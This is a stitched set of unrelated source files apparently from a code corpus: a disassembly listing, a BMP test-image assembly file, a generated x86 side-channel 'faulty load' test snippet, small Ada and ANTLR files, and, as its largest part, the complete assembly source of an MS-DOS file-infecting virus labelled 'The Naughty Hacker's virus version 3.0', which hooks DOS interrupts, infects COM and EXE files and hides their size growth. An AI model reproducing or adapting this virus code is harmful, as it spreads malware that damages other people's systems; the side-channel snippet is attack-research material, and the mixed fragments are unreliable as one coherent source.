0x0160 (0x0002C0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0161 (0x0002C2) 0x2923- f:00024 d: 291 | OR[291] = A
0x0162 (0x0002C4) 0x0200- f:00001 d: 0 | EXIT
0x0163 (0x0002C6) 0x2D23- f:00026 d: 291 | OR[291] = OR[291] + 1
0x0164 (0x0002C8) 0x2122- f:00020 d: 290 | A = OR[290]
0x0165 (0x0002CA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0166 (0x0002CC) 0x290D- f:00024 d: 269 | OR[269] = A
0x0167 (0x0002CE) 0x211F- f:00020 d: 287 | A = OR[287]
0x0168 (0x0002D0) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0169 (0x0002D2) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x016A (0x0002D4) 0x290E- f:00024 d: 270 | OR[270] = A
0x016B (0x0002D6) 0x211F- f:00020 d: 287 | A = OR[287]
0x016C (0x0002D8) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x016D (0x0002DA) 0x2908- f:00024 d: 264 | OR[264] = A
0x016E (0x0002DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x016F (0x0002DE) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0170 (0x0002E0) 0x8607- f:00103 d: 7 | P = P + 7 (0x0177), A # 0
0x0171 (0x0002E2) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0172 (0x0002E4) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0173 (0x0002E6) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0174 (0x0002E8) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0175 (0x0002EA) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0176 (0x0002EC) 0x7006- f:00070 d: 6 | P = P + 6 (0x017C)
0x0177 (0x0002EE) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0178 (0x0002F0) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x017A (0x0002F4) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x017B (0x0002F6) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x017C (0x0002F8) 0x2D1F- f:00026 d: 287 | OR[287] = OR[287] + 1
0x017D (0x0002FA) 0x211F- f:00020 d: 287 | A = OR[287]
0x017E (0x0002FC) 0x271A- f:00023 d: 282 | A = A - OR[282]
0x017F (0x0002FE) 0x9402- f:00112 d: 2 | R = P + 2 (0x0181), A = 0
0x0180 (0x000300) 0x0200- f:00001 d: 0 | EXIT
0x0181 (0x000302) 0x211F- f:00020 d: 287 | A = OR[287]
0x0182 (0x000304) 0x8602- f:00103 d: 2 | P = P + 2 (0x0184), A # 0
0x0183 (0x000306) 0x0200- f:00001 d: 0 | EXIT
0x0184 (0x000308) 0x1012- f:00010 d: 18 | A = 18 (0x0012)
0x0185 (0x00030A) 0x292A- f:00024 d: 298 | OR[298] = A
0x0186 (0x00030C) 0x211B- f:00020 d: 283 | A = OR[283]
0x0187 (0x00030E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0188 (0x000310) 0x2119- f:00020 d: 281 | A = OR[281]
0x0189 (0x000312) 0x292C- f:00024 d: 300 | OR[300] = A
0x018A (0x000314) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x018B (0x000316) 0x292D- f:00024 d: 301 | OR[301] = A
0x018C (0x000318) 0x211F- f:00020 d: 287 | A = OR[287]
0x018D (0x00031A) 0x292E- f:00024 d: 302 | OR[302] = A
0x018E (0x00031C) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x018F (0x00031E) 0x5800- f:00054 d: 0 | B = A
0x0190 (0x000320) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0192 (0x000324) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0193 (0x000326) 0x2006- f:00020 d: 6 | A = OR[6]
0x0194 (0x000328) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0195 (0x00032A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0196 (0x00032C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0197 (0x00032E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0198 (0x000330) 0x291F- f:00024 d: 287 | OR[287] = A
0x0199 (0x000332) 0x0200- f:00001 d: 0 | EXIT
0x019A (0x000334) 0x0000- f:00000 d: 0 | PASS
0x019B (0x000336) 0x0000- f:00000 d: 0 | PASS
|
src/test/data/images/bmp/4/rle4deltaXY.asm | deptmoon/commons-imaging | 300 | 80686 | <reponame>deptmoon/commons-imaging
; Licensed to the Apache Software Foundation (ASF) under one
; or more contributor license agreements. See the NOTICE file
; distributed with this work for additional information
; regarding copyright ownership. The ASF licenses this file
; to you under the Apache License, Version 2.0 (the
; "License"); you may not use this file except in compliance
; with the License. You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing,
; software distributed under the License is distributed on an
; "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
; KIND, either express or implied. See the License for the
; specific language governing permissions and limitations
; under the License.
; Assemblers are the perfect tool for generating
; custom test images as they let us insert offsets
; to unknown locations easily and totally
; customize the file byte-by-byte.
;
; To generate a BMP from this, run:
; nasm -f bin /path/to/this/file.asm -o /path/to/file.bmp
; bitmap file header
db 'B','M'
dd $end ; file size
db 0,0 ; reserved
db 0,0 ; reserved
dd $pixels ; offset to pixel array
; bitmap info header
dd 40 ; header size
dd 5 ; width
dd 5 ; height
dw 1 ; planes
dw 4 ; bits
dd 2 ; compression = RLE4
dd ($end - $pixels) ; raw pixel data size
dd 0 ; horizontal resolution
dd 0 ; vertical resolution
dd 2 ; number of palette entries
dd 0 ; number of important palette entries
palette:
db 0,0,0,0 ; blue,green,red,0
db 0xff,0xff,0xff,0
pixels:
db 5,0x11 ; 5 ones
db 0,0 ; eol
db 0,2,0,3 ; escape, delta, 0 right, 3 down
db 5,0x11 ; 5 ones
db 0,1 ; eof
end:
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_485.asm | ljhsiun2/medusa | 9 | 242144 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x4f88, %r8
nop
nop
nop
nop
nop
and %r14, %r14
movb (%r8), %dl
xor $45398, %rax
lea addresses_normal_ht+0x19148, %rsi
lea addresses_WC_ht+0x1a4d8, %rdi
nop
nop
nop
nop
add %r10, %r10
mov $76, %rcx
rep movsl
nop
nop
cmp $34934, %rsi
lea addresses_WT_ht+0x1b8c8, %r10
clflush (%r10)
nop
nop
xor %r8, %r8
vmovups (%r10), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rax
nop
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x20c8, %rsi
nop
xor %r10, %r10
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
vmovups %ymm4, (%rsi)
nop
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0xecc8, %rsi
lea addresses_UC_ht+0xe448, %rdi
clflush (%rdi)
nop
nop
add %r14, %r14
mov $126, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $46550, %r8
lea addresses_WC_ht+0x92c8, %rsi
nop
nop
nop
cmp $16417, %rdi
movb $0x61, (%rsi)
nop
cmp $39282, %rdx
lea addresses_D_ht+0xf0c8, %rsi
lea addresses_normal_ht+0xc100, %rdi
nop
add %r8, %r8
mov $46, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rax
lea addresses_D_ht+0x50c8, %rsi
lea addresses_A_ht+0x78c8, %rdi
nop
nop
nop
nop
nop
add $2858, %rax
mov $113, %rcx
rep movsb
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x18c8, %rsi
lea addresses_A_ht+0xbcad, %rdi
nop
nop
dec %rdx
mov $97, %rcx
rep movsb
nop
nop
nop
nop
inc %r14
lea addresses_normal_ht+0x5d6d, %rsi
lea addresses_D_ht+0x127de, %rdi
cmp $17320, %r8
mov $82, %rcx
rep movsw
and %rsi, %rsi
lea addresses_D_ht+0x3148, %rdx
nop
nop
add %r10, %r10
mov (%rdx), %rdi
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x16c8, %r10
clflush (%r10)
nop
nop
cmp $7873, %rcx
movw $0x6162, (%r10)
nop
nop
nop
inc %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rax
push %rdi
push %rsi
// Store
lea addresses_normal+0x7c52, %rdi
nop
nop
cmp %rsi, %rsi
movw $0x5152, (%rdi)
cmp %rax, %rax
// Faulty Load
lea addresses_A+0x1f0c8, %r10
nop
xor $11952, %r11
mov (%r10), %r14d
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rax
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': True, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
MSDOS/Virus.MSDOS.Unknown.horse5.asm | fengjixuchui/Family | 3 | 172384 | <filename>MSDOS/Virus.MSDOS.Unknown.horse5.asm
.radix 16
;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
;It seems that somebody had steal this version and
;circulates it now.
title The Naughty Hacker's virus version 3.0
comment / Naughty Hacker wishes you the best ! /
jmp start
virlen equ offset endcode-offset begin
alllen equ offset buffer-offset begin
begin label word
IP_save dw 20cdh
CS_save dw ?
SS_save dw ?
far_push dw ?
ident db 'C'
start:
call inf
inf:
pop bp
sub bp,offset start-offset begin+3
push es
push ds
mov es,es:[2]
mov di,start-begin
push ds
push cs
pop ds
mov si,di
add si,bp
mov cx,endcode-inf
cld
rep cmpsb
pop ds
push ds
pop es
je run
ina:
cmp word ptr [0],20cdh
je urud
jmp run
urud:
mov word ptr cs:[bp+handle-begin],0ffff
mov word ptr cs:[bp+counter-begin],2345
mov ax,ds
dec ax
mov ds,ax
sub word ptr [3],80
mov ax,es:[2]
sub ax,80
mov es:[2],ax
push ax
sub di,di
mov si,bp
mov ds,di
pop es
push cs
pop ds
mov cx,alllen
rep movsb
push cs
mov ax,offset run-begin
add ax,bp
push ax
push es
mov ax,offset inss-100-3
push ax
retf
run:
pop ds
pop es
cmp byte ptr cs:[bp+ident-begin],'C'
je comfile
mov dx,cs:[bp+CS_save-begin]
mov cx,cs
sub cx,word ptr cs:[bp+far_push-begin]
add dx,cx
add cx,cs:[bp+SS_save-begin]
cli
mov ss,cx
sti
clear:
push dx
push word ptr cs:[bp+IP_save-begin]
call clearr
retf
comfile:
mov ax,cs:[bp+IP_save-begin]
mov [100],ax
mov ax,cs:[bp+CS_save-begin]
mov [102],ax
mov ax,100
push ax
call clearr
retn
cur:
call exec
push bx
push es
push si
push ax
mov si,dx
cmp byte ptr [si],0ff
jne puf
mov ah,2f
call exec
mov al,byte ptr es:[bx+22d+7+1]
and al,31d
cmp al,31d
jnz puf
cmp word ptr es:[bx+28d+2+7+1],0
jne scs
cmp word ptr es:[bx+28d+7+1],virlen*2
jb puf
scs:
sub word ptr es:[bx+28d+7+1],virlen
sbb word ptr es:[bx+28d+2+7+1],0
puf:
pop ax
pop si
pop es
pop bx
iret
inff:
dec word ptr cs:[counter-begin]
jnz neass
call shop
neass:
cmp ah,11
je cur
cmp ah,12
je cur
cmp ah,4e
jne cur1.1
jmp cur1
cur1.1:
cmp ah,4f
jne cur1.2
jmp cur1
cur1.2:
cmp ah,3ch
je create
cmp ah,5bh
je create
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov byte ptr cs:[function-begin],ah
cmp ah,3dh
je open
cmp ah,3e
je close_
cmp ax,4b00
je execute
cmp ah,17
je ren_FCB
cmp ah,56
je execute
cmp ah,43
je execute
here:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[current_21h-begin]
ren_FCB:
call transfer
call coont
jmp here
create:
call exec
mov word ptr cs:[handle-begin],ax
db 0ca,2,0
close_:
cmp word ptr cs:[handle-begin],0ffff
je here
cmp bx,word ptr cs:[handle-begin]
jne here
mov ah,45
call coont
mov word ptr cs:[handle-begin],0ffff
jmp here
execute:
mov ah,3dh
call coont
jmp here
open:
call coont
jmp here
cur1:
call exec
pushf
push ax
push bx
push es
mov ah,2f
call exec
mov al,es:[bx+22d]
and al,31d
cmp al,31d
jne puf1
cmp es:[bx+28d],0
jne scs1
cmp es:[bx+26d],virlen*2
jb puf1
scs1:
sub es:[bx+26d],virlen
sbb es:[bx+28d],0
puf1:
pop es
pop bx
pop ax
popf
db 0ca,2,0 ;retf 2
coont:
call exec
jnc ner
ret
ner:
mov bp,ax
mov byte ptr cs:[flag-begin],0
mov ah,54
call exec
mov byte ptr cs:[veri-begin],al
cmp al,1
jne rty
mov ax,2e00
call exec
rty:
mov ax,3508
call exec
mov word ptr cs:[current_08h-begin],bx
mov word ptr cs:[current_08h-begin+2],es
push bx
push es
mov al,21
call exec
push bx
push es
mov al,24
call exec
push bx
push es
mov al,13
call exec
push bx
push es
mov ah,25
mov dx,int13h-begin
push cs
pop ds
call exec
mov al,21
lds dx,cs:[org_21h-begin]
call exec
mov al,24
push cs
pop ds
mov dx,int24h-begin
int 21
mov al,8
mov dx,int08h-begin
int 21
mov bx,bp
push bx
mov ax,1220
call exec2f
mov bl,es:[di]
mov ax,1216
call exec2f
pop bx
add di,11
mov byte ptr es:[di-15d],2
mov ax,es:[di]
mov dx,es:[di+2]
cmp dx,0
jne contss
cmp ax,virlen
jnb contss
jmp close
contss:
cmp byte ptr cs:[function-begin],3dh
jne hhh
push di
add di,0f
mov si,offset fname-begin
cld
mov cx,8+3
rep cmpsb
pop di
jne hhh
jmp close
hhh:
cmp es:[di+18],'MO'
jne a2
jmp com
a2:
cmp es:[di+18],'EX'
je a8
jmp close
a8:
cmp byte ptr es:[di+17],'E'
je a3
jmp close
a3:
call cont
cmp word ptr [si],'ZM'
je okk
cmp word ptr [si],'MZ'
je okk
jmp close
okk:
cmp word ptr [si+0c],0
jne uuu
jmp close
uuu:
mov cx,[si+16]
add cx,[si+8]
mov ax,10
mul cx
add ax,[si+14]
adc dx,0
mov cx,es:[di+2]
sub cx,dx
or cx,cx
jnz usm
mov cx,es:[di]
sub cx,ax
cmp cx,virlen-(start-begin)
jne usm
jmp close
usm:
mov byte ptr [ident-begin],'E'
mov ax,[si+0e]
mov [SS_save-begin],ax
mov ax,[si+14]
mov [IP_save-begin],ax
mov ax,[si+16]
mov [CS_save-begin],ax
mov ax,es:[di]
mov dx,es:[di+2]
add ax,virlen
adc dx,0
mov cx,200
div cx
mov [si+2],dx
or dx,dx
jz oj
inc ax
oj:
mov [si+4],ax
mov ax,es:[di]
mov dx,es:[di+2]
mov cx,4 ; This could be so:
mov bp,ax ;
and bp,0fh ; mov cx,10
lpp: ; div cx
shr dx,1 ;
rcr ax,1 ;
loop lpp ;
mov dx,bp ;
sub ax,[si+8]
add dx,start-begin
adc ax,0
mov [si+14],dx
mov [si+16],ax
mov word ptr [far_push-begin],ax
add ax,200
mov [si+0eh],ax
write:
sub cx,cx
mov es:[di+4],cx
mov es:[di+6],cx
push es:[di-2]
push es:[di-4]
xchg cx,es:[di-0dh]
push cx
mov ah,40
mov dx,buffer-begin
mov cx,01bh
int 21
cmp byte ptr cs:[flag-begin],0ff
jne ghj
stc
jc exit
ghj:
mov ax,es:[di]
mov es:[di+4],ax
mov ax,es:[di+2]
mov es:[di+6],ax
call com?
jne f2
sub es:[di+4],virlen
sbb es:[di+6],0
f2:
mov ah,40
sub dx,dx
mov cx,virlen
int 21
cmp byte ptr cs:[flag-begin],0ff
jne exit
stc
exit:
pop cx
mov es:[di-0dh],cx
pop cx
pop dx
or byte ptr es:[di-0bh],40
jc closed
call com?
jne f3
and cx,31d
or cx,2
jmp closed
f3:
or cx,31d
closed:
mov ax,5701
int 21
close:
mov ah,3e
int 21
or byte ptr es:[di-0ch],40
push es
pop ds
mov si,di
add si,0f
mov di,offset fname-begin
push cs
pop es
mov cx,8+3
cld
rep movsb
push cs
pop ds
cmp byte ptr cs:[flag-begin],0ff
jne qw
mov ah,0dh
int 21
qw:
cmp byte ptr cs:[veri-begin],1
jne rtyyu
mov ax,2e01
call exec
rtyyu:
sub ax,ax
mov ds,ax
cli
pop [13*4+2]
pop [13*4]
pop [24*4+2]
pop [24*4]
pop [21*4+2]
pop [21*4]
pop [8*4+2]
pop [8*4]
sti
retn
com:
test byte ptr es:[di-0dh],4
jz esc4
jmp close
esc4:
call cont
cmp byte ptr [si],0e9
jne usm2
mov ax,es:[di]
sub ax,[si+1]
cmp ax,virlen-(start-begin-3)
jne usm2
jmp close
usm2:
push si
cmp byte ptr es:[di+17],'C'
jne esc
mov byte ptr [ident-begin],'C'
lodsw
mov cs:[IP_save-begin],ax
lodsw
mov cs:[CS_save-begin],ax
mov ax,es:[di]
cmp ax,65535d-virlen-1
pop si
jb esc
jmp close
esc:
add ax,start-begin-3
call com?
jne f1
sub ax,virlen
f1:
mov byte ptr [si],0e9
mov word ptr [si+1],ax
jmp write
inss:
sub ax,ax
mov ds,ax
pushf
pop ax
and ax,0feff
push ax
popf
pushf
mov [1*4],offset trap-begin
mov [1*4+2],cs
pushf
pop ax
or ax,100
push ax
popf
mov ax,0ffff
call dword ptr [21h*4]
sub ax,ax
mov ds,ax
pushf
pop ax
and ax,0feff
push ax
popf
pushf
mov [1*4],offset trap2-begin
mov [1*4+2],cs
pushf
pop ax
or ax,100
push ax
popf
mov ax,0ffff
call dword ptr [2fh*4]
sub ax,ax
mov ds,ax
pushf
pop ax
and ax,0feff
push ax
popf
pushf
mov [1*4],offset trap3-begin
mov [1*4+2],cs
pushf
pop ax
or ax,100
push ax
popf
sub ax,ax
call dword ptr [13h*4]
sub ax,ax
mov ds,ax
les ax,[21*4]
mov word ptr cs:[current_21h-begin],ax
mov word ptr cs:[current_21h-begin+2],es
mov [21*4],offset inff-begin
mov [21*4+2],cs
retf
trap:
push bp
mov bp,sp
push bx
cmp [bp+4],300
ja exit2
mov bx,[bp+2]
mov word ptr cs:[org_21h-begin],bx
mov bx,[bp+4]
mov word ptr cs:[org_21h-begin+2],bx
and [bp+6],0feff
exit2:
pop bx
pop bp
iret
trap2:
push bp
mov bp,sp
push bx
cmp [bp+4],100
ja exit3
mov bx,[bp+2]
mov word ptr cs:[org_2fh-begin],bx
mov bx,[bp+4]
mov word ptr cs:[org_2fh-begin+2],bx
and [bp+6],0feff
exit3:
pop bx
pop bp
iret
trap3:
push bp
mov bp,sp
push bx
cmp [bp+4],0C800
jb exit4
mov bx,[bp+2]
mov word ptr cs:[org_13h-begin],bx
mov bx,[bp+4]
mov word ptr cs:[org_13h-begin+2],bx
and [bp+6],0feff
exit4:
pop bx
pop bp
iret
exec:
pushf
call dword ptr cs:[org_21h-begin]
ret
exec2f:
pushf
call dword ptr cs:[org_2fh-begin]
ret
int08h:
pushf
call dword ptr cs:[current_08h-begin]
push ax
push ds
sub ax,ax
mov ds,ax
cli
mov [13*4],offset int13h-begin
mov [13*4+2],cs
mov [8*4],offset int08h-begin
mov [8*4+2],cs
mov ax,word ptr cs:[org_21h-begin]
mov [21*4],ax
mov ax,word ptr cs:[org_21h-begin+2]
mov [21*4+2],ax
mov [24*4],offset int24h-begin
mov [24*4+2],cs
sti
pop ds
pop ax
iret
int24h:
mov al,3
iret
int13h:
pushf
call dword ptr cs:[org_13h-begin]
jnc dfg
mov byte ptr cs:[flag-begin],0ff
dfg:
clc
db 0ca,02,0 ;retf 2
cont:
sub ax,ax
mov es:[di+4],ax
mov es:[di+6],ax
mov ah,3f
mov cx,01bh
mov dx,offset buffer-begin
mov si,dx
int 21
cmp byte ptr cs:[flag-begin],0ff
jne a1
stc
pop ax
jmp close
a1:
ret
com?:
cmp es:[di+0f],'OC'
jne zz
cmp es:[di+11],'MM'
jne zz
cmp es:[di+13],'NA'
jne zz
cmp es:[di+15],' D'
jne zz
cmp es:[di+17],'OC'
jne zz
cmp byte ptr es:[di+19],'M'
zz:
ret
transfer:
cld
inc dx
mov si,dx
mov di,offset buffer-begin
push di
push cs
pop es
mov cx,8
rep movsb
mov al,'.'
stosb
mov cx,3
rep movsb
mov al,0
stosb
pop dx
push cs
pop ds
mov ax,3d00
ret
e1:
cli
push ax
push di
push es
mov ax,0b800
mov es,ax
mov ax,word ptr cs:[pos-begin]
push ax
call comp
mov ax,word ptr cs:[strg-begin]
stosw
pop ax
or ah,ah
jz s3
cmp ah,24d
jb s1
s3:
neg byte ptr cs:[y-begin]
s1:
or al,al
jz s4
cmp al,79d
jb s2
s4:
neg byte ptr cs:[x-begin]
s2:
mov ah,byte ptr cs:[y-begin]
mov al,byte ptr cs:[x-begin]
add byte ptr cs:[pos+1-begin],ah
add byte ptr cs:[pos-begin],al
mov ax,word ptr cs:[pos-begin]
call comp
mov ax,es:[di]
mov word ptr cs:[strg-begin],ax
mov es:[di],0f07
pop es
pop di
pop ax
sti
iret
comp:
push ax
push bx
sub bh,bh
mov bl,al
mov al,160d
mul ah
add ax,bx
add ax,bx
mov di,ax
pop bx
pop ax
ret
shop:
push ax
push ds
mov byte ptr cs:[x-begin],0ff
mov byte ptr cs:[y-begin],0ff
mov word ptr cs:[pos-begin],1013
mov ax,0003
int 10
sub ax,ax
mov ds,ax
cli
mov [1c*4],offset e1-begin
mov [1c*4+2],cs
sti
pop ds
pop ax
ret
clearr:
sub ax,ax
sub bx,bx
sub cx,cx
sub dx,dx
sub si,si
sub di,di
sub bp,bp
ret
db 666d ;Foolish ?!! -> dw 666d
db 55,0AA
endcode label word
current_21h dd ?
current_08h dd ?
org_2fh dd ?
org_13h dd ?
org_21h dd ?
flag db ?
veri db ?
handle dw 0ffff
fname db 8+3 dup (?)
function db ?
pos dw ?
x db ?
y db ?
strg dw ?
counter dw ?
buffer label word |
ada/memory_analyzer.ads | andreas-woelfl/astma | 0 | 14811 | <reponame>andreas-woelfl/astma<gh_stars>0
package Memory_Analyzer is
function Count (Size : Integer; File : String; Var : String) return Boolean;
end Memory_Analyzer;
|
specs/ada/common/tkmrpc-response-ike-isa_skip_create_first-convert.ads | DrenfongWong/tkm-rpc | 0 | 30819 | <filename>specs/ada/common/tkmrpc-response-ike-isa_skip_create_first-convert.ads
with Ada.Unchecked_Conversion;
package Tkmrpc.Response.Ike.Isa_Skip_Create_First.Convert is
function To_Response is new Ada.Unchecked_Conversion (
Source => Isa_Skip_Create_First.Response_Type,
Target => Response.Data_Type);
function From_Response is new Ada.Unchecked_Conversion (
Source => Response.Data_Type,
Target => Isa_Skip_Create_First.Response_Type);
end Tkmrpc.Response.Ike.Isa_Skip_Create_First.Convert;
|
xidcont.g4 | jbclements/rust-antlr | 39 | 3505 | <filename>xidcont.g4
grammar Xidcont;
XIDCONT :
'\u0030' .. '\u0039'
| '\u0041' .. '\u005a'
| '\u005f'
| '\u0061' .. '\u007a'
| '\u00aa'
| '\u00b5'
| '\u00b7'
| '\u00ba'
| '\u00c0' .. '\u00d6'
| '\u00d8' .. '\u00f6'
